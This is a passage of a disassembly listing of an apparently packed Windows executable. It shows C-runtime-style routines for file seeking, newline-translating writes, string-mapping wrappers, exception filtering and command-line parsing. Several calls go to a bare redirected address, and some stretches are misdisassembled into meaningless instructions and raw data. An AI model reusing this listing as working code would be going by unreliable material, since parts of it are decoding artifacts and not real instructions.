loc_422660:				; CODE XREF: sub_42261C+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_427120	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422680
		call	dword_42708C	; RtlGetLastWin32Error
		jmp	short loc_422682
; ---------------------------------------------------------------------------


loc_422680:				; CODE XREF: sub_42261C+5Aj
		xor	eax, eax


loc_422682:				; CODE XREF: sub_42261C+62j
		test	eax, eax
		jz	short loc_42268F
		push	eax
		call	sub_420244
		pop	ecx
		jmp	short loc_4226AF
; ---------------------------------------------------------------------------


loc_42268F:				; CODE XREF: sub_42261C+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4226B2
; ---------------------------------------------------------------------------


loc_42269E:				; CODE XREF: sub_42261C+Dj
					; sub_42261C+2Aj
		and	dword_4E14FC, 0
		mov	dword_4E14F8, 9


loc_4226AF:				; CODE XREF: sub_42261C+42j
					; sub_42261C+71j
		or	eax, 0FFFFFFFFh


loc_4226B2:				; CODE XREF: sub_42261C+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42261C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226B6	proc near		; CODE XREF: .nsp0:0041D8E7p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4226D2
		mov	[edi+4], ebx


loc_4226D2:				; CODE XREF: sub_4226B6+17j
		push	1
		push	ebx
		push	esi
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_422740
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_4226F7
		sub	eax, [edi+4]
		jmp	loc_422809
; ---------------------------------------------------------------------------


loc_4226F7:				; CODE XREF: sub_4226B6+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422731
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4E1820[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422748
		mov	edx, ecx


loc_422722:				; CODE XREF: sub_4226B6+79j
		cmp	edx, eax
		jnb	short loc_422748
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42272E
		inc	[ebp+var_8]


loc_42272E:				; CODE XREF: sub_4226B6+73j
		inc	edx
		jmp	short loc_422722
; ---------------------------------------------------------------------------


loc_422731:				; CODE XREF: sub_4226B6+50j
		test	dl, 80h
		jnz	short loc_422748
		mov	dword_4E14F8, 16h


loc_422740:				; CODE XREF: sub_4226B6+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422809
; ---------------------------------------------------------------------------


loc_422748:				; CODE XREF: sub_4226B6+68j
					; sub_4226B6+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422756
		mov	eax, [ebp+var_8]
		jmp	loc_422809
; ---------------------------------------------------------------------------


loc_422756:				; CODE XREF: sub_4226B6+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422801
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42276F
		and	[ebp+var_8], edx
		jmp	loc_422801
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_4226B6+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1820h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4227FB
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4227C2
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4227AD:				; CODE XREF: sub_4226B6+104j
		cmp	eax, ecx
		jnb	short loc_4227BC
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4227B9
		inc	[ebp+arg_0]


loc_4227B9:				; CODE XREF: sub_4226B6+FEj
		inc	eax
		jmp	short loc_4227AD
; ---------------------------------------------------------------------------


loc_4227BC:				; CODE XREF: sub_4226B6+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4227F6
; ---------------------------------------------------------------------------


loc_4227C2:				; CODE XREF: sub_4226B6+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42261C
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4227E9
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4227E9
		test	ch, 4
		jz	short loc_4227EC


loc_4227E9:				; CODE XREF: sub_4226B6+124j
					; sub_4226B6+12Cj
		mov	eax, [edi+18h]


loc_4227EC:				; CODE XREF: sub_4226B6+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4227F6:				; CODE XREF: sub_4226B6+10Aj
		jz	short loc_4227FB
		inc	[ebp+arg_0]


loc_4227FB:				; CODE XREF: sub_4226B6+D9j
					; sub_4226B6:loc_4227F6j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422801:				; CODE XREF: sub_4226B6+A4j
					; sub_4226B6+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422809:				; CODE XREF: sub_4226B6+3Cj
					; sub_4226B6+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4226B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42280E	proc near		; CODE XREF: sub_41D984+A2p
					; sub_41E25B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4E1920
		push	esi
		push	edi
		jnb	loc_4229A2
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1820h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_4229A2
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42285F


loc_422858:				; CODE XREF: sub_42280E+177j
		xor	eax, eax
		jmp	loc_4229B6
; ---------------------------------------------------------------------------


loc_42285F:				; CODE XREF: sub_42280E+48j
		test	al, 20h
		jz	short loc_42286F
		push	2
		push	edi
		push	ecx
		call	sub_42261C
		add	esp, 0Ch


loc_42286F:				; CODE XREF: sub_42280E+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42293E
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422976


loc_42288F:				; CODE XREF: sub_42280E+F5j
		lea	eax, [ebp+var_414]


loc_422895:				; CODE XREF: sub_42280E+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4228C9
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4228B4
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4228B4:				; CODE XREF: sub_42280E+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_422895


loc_4228C9:				; CODE XREF: sub_42280E+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 0B40000h
		leave
		test	eax, eax
		jz	short loc_422933
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422905
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42288F


loc_422905:				; CODE XREF: sub_42280E+EAj
					; sub_42280E+12Ej
		xor	edi, edi


loc_422907:				; CODE XREF: sub_42280E+150j
					; sub_42280E+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42299D
		cmp	[ebp+arg_0], edi
		jz	short loc_422976
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_42296B
		mov	dword_4E14F8, 9
		mov	dword_4E14FC, eax
		jmp	loc_4229B3
; ---------------------------------------------------------------------------


loc_422933:				; CODE XREF: sub_42280E+E0j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_42293E:				; CODE XREF: sub_42280E+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 0B40000h
		add	al, 85h
		sal	byte ptr [ebx+ecx-75h],	45h
		hlt
; ---------------------------------------------------------------------------
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422907
; ---------------------------------------------------------------------------
		call	dword_42708C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_422907
; ---------------------------------------------------------------------------


loc_42296B:				; CODE XREF: sub_42280E+10Fj
		push	[ebp+arg_0]
		call	sub_420244
		pop	ecx
		jmp	short loc_4229B3
; ---------------------------------------------------------------------------


loc_422976:				; CODE XREF: sub_42280E+7Bj
					; sub_42280E+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_42298B
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422858


loc_42298B:				; CODE XREF: sub_42280E+16Fj
		mov	dword_4E14F8, 1Ch
		mov	dword_4E14FC, edi
		jmp	short loc_4229B3
; ---------------------------------------------------------------------------


loc_42299D:				; CODE XREF: sub_42280E+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4229B6
; ---------------------------------------------------------------------------


loc_4229A2:				; CODE XREF: sub_42280E+15j
					; sub_42280E+37j
		and	dword_4E14FC, 0
		mov	dword_4E14F8, 9


loc_4229B3:				; CODE XREF: sub_42280E+120j
					; sub_42280E+166j ...
		or	eax, 0FFFFFFFFh


loc_4229B6:				; CODE XREF: sub_42280E+4Cj
					; sub_42280E+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42280E	endp

; ---------------------------------------------------------------------------


loc_4229BB:				; CODE XREF: sub_41DC7A+47p
					; sub_41DC7A+74p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	dword_4E15CC, edi
		jnz	short loc_422A31
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427918
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_427050	; LCMapStringW
		test	eax, eax
		jz	short loc_422A0F
		mov	dword_4E15CC, ebx
		jmp	short loc_422A31
; ---------------------------------------------------------------------------


loc_422A0F:				; CODE XREF: .nsp0:00422A05j
		push	edi
		push	edi
		push	ebx
		push	offset dword_4D10A8
		push	esi
		push	edi
		call	near ptr 0B40000h
		xor	[ebp+22840FC0h], al
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_4E15CC
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------


loc_422A31:				; CODE XREF: .nsp0:004229E9j
					; .nsp0:00422A0Dj
		cmp	[ebp+14h], edi
		jle	short loc_422A46
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_422BDF
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_422A46:				; CODE XREF: .nsp0:00422A34j
		mov	eax, dword_4E15CC
		cmp	eax, 2
		jnz	short loc_422A6D
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0B40000h
		dec	eax
		jmp	loc_422B4B
; ---------------------------------------------------------------------------


loc_422A6D:				; CODE XREF: .nsp0:00422A4Ej
		cmp	eax, 1
		jnz	loc_422B49
		cmp	[ebp+20h], edi
		jnz	short loc_422A83
		mov	eax, dword_4E15C0
		mov	[ebp+20h], eax


loc_422A83:				; CODE XREF: .nsp0:00422A79j
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+20h]
		call	dword_427184	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_422B49
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_422ADE
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_422ADE:				; CODE XREF: .nsp0:00422AC9j
		cmp	[ebp-24h], edi
		jz	short loc_422B49
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	dword_427184	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_422B49
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_427050	; LCMapStringW
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_422B49
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_422B5D
		cmp	[ebp+1Ch], edi
		jz	loc_422BD8
		cmp	esi, [ebp+1Ch]
		jg	short loc_422B49
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_427050	; LCMapStringW
		test	eax, eax
		jnz	loc_422BD8


loc_422B49:				; CODE XREF: .nsp0:00422A70j
					; .nsp0:00422AA7j ...
		xor	eax, eax


loc_422B4B:				; CODE XREF: .nsp0:00422A68j
					; .nsp0:00422BDAj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422B5D:				; CODE XREF: .nsp0:00422B1Bj
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_422B91
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_422B91:				; CODE XREF: .nsp0:00422B7Dj
		cmp	ebx, edi
		jz	short loc_422B49
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_427050	; LCMapStringW
		test	eax, eax
		jz	short loc_422B49
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_422BB8
		push	edi
		push	edi
		jmp	short loc_422BBE
; ---------------------------------------------------------------------------


loc_422BB8:				; CODE XREF: .nsp0:00422BB2j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_422BBE:				; CODE XREF: .nsp0:00422BB6j
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	dword_427180	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422B49


loc_422BD8:				; CODE XREF: .nsp0:00422B20j
					; .nsp0:00422B43j
		mov	eax, esi
		jmp	loc_422B4B

; =============== S U B	R O U T	I N E =======================================



sub_422BDF	proc near		; CODE XREF: .nsp0:00422A3Cp
					; sub_425D2F+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422BFC


loc_422BEF:				; CODE XREF: sub_422BDF+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422BFC
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422BEF


loc_422BFC:				; CODE XREF: sub_422BDF+Ej
					; sub_422BDF+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_422C07
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_422C07:				; CODE XREF: sub_422BDF+21j
		mov	eax, edx
		retn
sub_422BDF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422D4B
		test	eax, eax
		pop	ecx
		jz	loc_422D3F
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422D3F
		cmp	ebx, 5
		jnz	short loc_422C3B
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422D48
; ---------------------------------------------------------------------------


loc_422C3B:				; CODE XREF: .nsp0:00422C2Dj
		cmp	ebx, 1
		jz	loc_422D3A
		mov	ecx, dword_4E15D0
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4E15D0, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422D2A
		mov	ecx, dword_442E30
		mov	edx, dword_442E34
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422C8A
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:442DC0h[esi*4]


loc_422C81:				; CODE XREF: .nsp0:00422C88j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422C81


loc_422C8A:				; CODE XREF: .nsp0:00422C73j
		mov	eax, [eax]
		mov	esi, dword_442E3C
		cmp	eax, 0C000008Eh
		jnz	short loc_422CA5
		mov	dword_442E3C, 83h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CA5:				; CODE XREF: .nsp0:00422C97j
		cmp	eax, 0C0000090h
		jnz	short loc_422CB8
		mov	dword_442E3C, 81h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CB8:				; CODE XREF: .nsp0:00422CAAj
		cmp	eax, 0C0000091h
		jnz	short loc_422CCB
		mov	dword_442E3C, 84h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CCB:				; CODE XREF: .nsp0:00422CBDj
		cmp	eax, 0C0000093h
		jnz	short loc_422CDE
		mov	dword_442E3C, 85h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CDE:				; CODE XREF: .nsp0:00422CD0j
		cmp	eax, 0C000008Dh
		jnz	short loc_422CF1
		mov	dword_442E3C, 82h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CF1:				; CODE XREF: .nsp0:00422CE3j
		cmp	eax, 0C000008Fh
		jnz	short loc_422D04
		mov	dword_442E3C, 86h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422D04:				; CODE XREF: .nsp0:00422CF6j
		cmp	eax, 0C0000092h
		jnz	short loc_422D15
		mov	dword_442E3C, 8Ah


loc_422D15:				; CODE XREF: .nsp0:00422CA3j
					; .nsp0:00422CB6j ...
		push	dword_442E3C
		push	8
		call	ebx
		pop	ecx
		mov	dword_442E3C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422D32
; ---------------------------------------------------------------------------


loc_422D2A:				; CODE XREF: .nsp0:00422C5Cj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422D32:				; CODE XREF: .nsp0:00422D28j
		mov	eax, [ebp+8]
		mov	dword_4E15D0, eax


loc_422D3A:				; CODE XREF: .nsp0:00422C3Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_422D48
; ---------------------------------------------------------------------------


loc_422D3F:				; CODE XREF: .nsp0:00422C19j
					; .nsp0:00422C24j
		push	dword ptr [ebp+0Ch]
		call	dword_42704C	; UnhandledExceptionFilter


loc_422D48:				; CODE XREF: .nsp0:00422C36j
					; .nsp0:00422D3Dj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422D4B	proc near		; CODE XREF: .nsp0:00422C11p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_442E38
		cmp	dword_442DB8, edx
		push	esi
		mov	eax, offset dword_442DB8
		jz	short loc_422D78
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:442DB8h[esi*4]


loc_422D6D:				; CODE XREF: sub_422D4B+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422D78
		cmp	[eax], edx
		jnz	short loc_422D6D


loc_422D78:				; CODE XREF: sub_422D4B+16j
					; sub_422D4B+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:442DB8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422D8B
		cmp	[eax], edx
		jz	short locret_422D8D


loc_422D8B:				; CODE XREF: sub_422D4B+3Aj
		xor	eax, eax

locret_422D8D:				; CODE XREF: sub_422D4B+3Ej
		retn
sub_422D4B	endp

; ---------------------------------------------------------------------------
		cmp	dword_4E2B8C, 0
		jnz	short loc_422D9C
		call	sub_4200D2


loc_422D9C:				; CODE XREF: .nsp0:00422D95j
		push	esi
		mov	esi, dword_4E2B84
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422DCE


loc_422DA9:				; CODE XREF: .nsp0:00422DC1j
					; .nsp0:00422DC4j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422DC6
		test	al, al
		jz	short loc_422DC6
		movzx	eax, al
		push	eax
		call	sub_424C6B
		test	eax, eax
		pop	ecx
		jz	short loc_422DA9
		inc	esi
		jmp	short loc_422DA9
; ---------------------------------------------------------------------------


loc_422DC6:				; CODE XREF: .nsp0:00422DAFj
					; .nsp0:00422DB3j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422DD8


loc_422DCB:				; CODE XREF: .nsp0:00422DE0j
		inc	esi
		jmp	short loc_422DD8
; ---------------------------------------------------------------------------


loc_422DCE:				; CODE XREF: .nsp0:00422DA7j
		cmp	al, 20h
		jbe	short loc_422DD8


loc_422DD2:				; CODE XREF: .nsp0:00422DD6j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422DD2


loc_422DD8:				; CODE XREF: .nsp0:00422DC9j
					; .nsp0:00422DCCj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422DE2
		cmp	al, 20h
		jbe	short loc_422DCB


loc_422DE2:				; CODE XREF: .nsp0:00422DDCj
		mov	eax, esi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422DE6	proc near
		push	ebx
		xor	ebx, ebx
		cmp	dword_4E2B8C, ebx
		push	esi
		push	edi
		jnz	short loc_422DF8
		call	sub_4200D2


loc_422DF8:				; CODE XREF: sub_422DE6+Bj
		mov	esi, dword_4E1568
		xor	edi, edi


loc_422E00:				; CODE XREF: sub_422DE6+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422E18
		cmp	al, 3Dh
		jz	short loc_422E0B
		inc	edi


loc_422E0B:				; CODE XREF: sub_422DE6+22j
		push	esi
		call	sub_41B890
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422E00
; ---------------------------------------------------------------------------


loc_422E18:				; CODE XREF: sub_422DE6+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4E1520, esi
		jnz	short loc_422E3A
		push	9
		call	sub_41E0F9
		pop	ecx


loc_422E3A:				; CODE XREF: sub_422DE6+4Aj
		mov	edi, dword_4E1568
		cmp	[edi], bl
		jz	short loc_422E7D
		push	ebp


loc_422E45:				; CODE XREF: sub_422DE6+94j
		push	edi
		call	sub_41B890
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422E76
		push	ebp
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422E69
		push	9
		call	sub_41E0F9
		pop	ecx


loc_422E69:				; CODE XREF: sub_422DE6+79j
		push	edi
		push	dword ptr [esi]
		call	sub_41C550
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422E76:				; CODE XREF: sub_422DE6+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422E45
		pop	ebp


loc_422E7D:				; CODE XREF: sub_422DE6+5Cj
		push	dword_4E1568
		call	sub_41B961
		pop	ecx
		mov	dword_4E1568, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4E2B88, 1
		pop	ebx
		retn
sub_422DE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422E9F	proc near		; CODE XREF: .nsp0:0041E08Cp
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4E2B8C, ebx
		push	esi
		push	edi
		jnz	short loc_422EB6
		call	sub_4200D2


loc_422EB6:				; CODE XREF: sub_422E9F+10j
		mov	esi, offset dword_4E15D4
		push	104h
		push	esi
		push	ebx
		call	near ptr 0B40000h
		jmp	near ptr 4E6DB36Dh
sub_422E9F	endp

; ---------------------------------------------------------------------------
		dd 30358900h, 8B004E15h, 741838FEh, 8DF88B02h, 8D50F845h
		dd 5350FC45h, 4DE85753h, 8B000000h, 4D8BF845h, 88048DFCh
		dd 8CD1E850h, 0F08BFFFFh, 3B18C483h, 6A0875F3h,	0B1EFE808h
		dd 8D59FFFFh, 8D50F845h, 8B50FC45h, 48DFC45h, 57565086h
		dd 17E8h, 0FC458B00h, 4814C483h, 15183589h, 5E5F004Eh
		dd 4E1514A3h, 0C3C95B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+18h]
		mov	eax, [ebp+14h]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+10h]
		push	edi
		mov	edi, [ebp+0Ch]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+8]
		test	edi, edi
		jz	short loc_422F62
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+0Ch], edi


loc_422F62:				; CODE XREF: .nsp0:00422F58j
		cmp	byte ptr [eax],	22h
		jnz	short loc_422FAB


loc_422F67:				; CODE XREF: .nsp0:00422F90j
					; .nsp0:00422F97j
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_422F99
		test	dl, dl
		jz	short loc_422F99
		movzx	edx, dl
		test	byte_4E2A61[edx], 4
		jz	short loc_422F8C
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F8C
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_422F8C:				; CODE XREF: .nsp0:00422F7Ej
					; .nsp0:00422F84j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F67
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_422F67
; ---------------------------------------------------------------------------


loc_422F99:				; CODE XREF: .nsp0:00422F6Ej
					; .nsp0:00422F72j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FA3
		and	byte ptr [esi],	0
		inc	esi


loc_422FA3:				; CODE XREF: .nsp0:00422F9Dj
		cmp	byte ptr [eax],	22h
		jnz	short loc_422FEE
		inc	eax
		jmp	short loc_422FEE
; ---------------------------------------------------------------------------


loc_422FAB:				; CODE XREF: .nsp0:00422F65j
					; .nsp0:00422FDDj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FB6
